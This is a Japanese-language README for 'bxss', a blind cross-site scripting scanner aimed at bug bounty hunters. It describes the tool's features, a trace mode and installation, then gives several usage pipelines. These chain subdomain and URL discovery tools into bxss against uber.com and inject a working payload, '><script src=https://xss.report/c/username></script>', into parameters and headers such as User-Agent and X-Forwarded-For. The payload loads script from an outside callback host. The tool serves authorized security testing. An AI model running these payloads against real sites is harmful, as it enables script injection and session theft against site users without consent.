Bxss - ブラインドXSSスキャナー

🚀 説明

Bxss は、WebアプリケーションにおけるブラインドXSS脆弱性の検出を自動化する高性能なブラインドXSSスキャナーです。

✨ 特徴

• カスタムヘッダーとパラメータにブラインドXSSペイロードを注入
• 複数のHTTPメソッド（PUT, POST, GET, OPTIONS）をサポート
• 並行処理による高速スキャン
• 他のツールとの連携が容易
• シンプルなインストールと使用方法

🧠 開発中

現在、低スペックデバイス上でのbxssのパフォーマンスを向上させるため、Chromiumベースのワーカープールの統合に積極的に取り組んでいます。

この機能により、DOMベースのXSS検出やトリガー後のペイロード検査などのリソースを多く消費するタスクを、プールで管理される軽量なChromiumインスタンスにオフロードできるようになります。複数のヘッドレスブラウザコンテキストにワークロードを制御し効率的に分散することで、bxssは低スペックなマシンでも応答性が高く使い続けられるようになります。

これにより、bxssはシステムの制約に関わらず、強力でありながら非常にアクセスしやすいツールになります。

✅ TODO

• DOM操作と視覚検証のためのChromiumベースのワーカープール
• オプションのHTML/JSONレポート出力
• マルチプラットフォームペイロードカスタマイズのサポート追加（XSS Hunter, Interactshなど）
• プロキシサポート
• カスタムリクエストのインポート

🧪 実験的機能

• トレースモード（実験的）

📦 インストール

go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest

⚙️ 引数

🎬 デモンストレーション

📝 トレースモードとは？

トレースモードは、BlindXSSがトリガーされた場所を追跡できる実験的な機能です。https://xss.report/ などのサードパーティのBlindXSSプラットフォームでは、ペイロードにカスタムパラメータを指定できます。これにより、BlindXSSがトリガーされた場所を追跡できます。例えば、ペイロードに url=https://somehost.com というパラメータを指定すると、ツールは以下のペイロードを使用します。

'"><script src=https://xss.report/c/username?url=https://somehost.com></script>'

そして、トリガーが発生すると、DOMを検査してBlindXSSがどのホストからトリガーされたかを確認できます。

ダッシュボードでカスタムパラメータを割り当てる際は、url={LINK} を割り当ててください。そうすることで、bxssが自動的に {LINK} を実際のURLに置き換えます。

🔥 使用例

パラメータ

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-t

パラメータに追加

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-t

ヘッダーとパラメータの両方

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

X-Forwarded-For ヘッダー

subfinder -d uber.com \
| gau \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "X-Forwarded-For"

カスタムヘッダーとパラメータ

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Dorkiを使ったGoogle Dork

curl -X GET -H "Authorization: Bearer <Token>" \
-H "X-Secret-Key: <Secret>" \
https://dorki.attaxa.com/api/search?q=site:example.com -s \
| jq -r .[][].url \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>'

レート制限付きのカスタムヘッダーとパラメータ

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \ 
-t \
-rl 10

高度なDorkingと脆弱性探索については、Dorkiをチェックして、今すぐサインアップしてください！

☕ プロジェクトをサポート

このツールを使ってバウンティを獲得した場合は、コーヒーを一杯ごちそうすることでサポートを検討してください！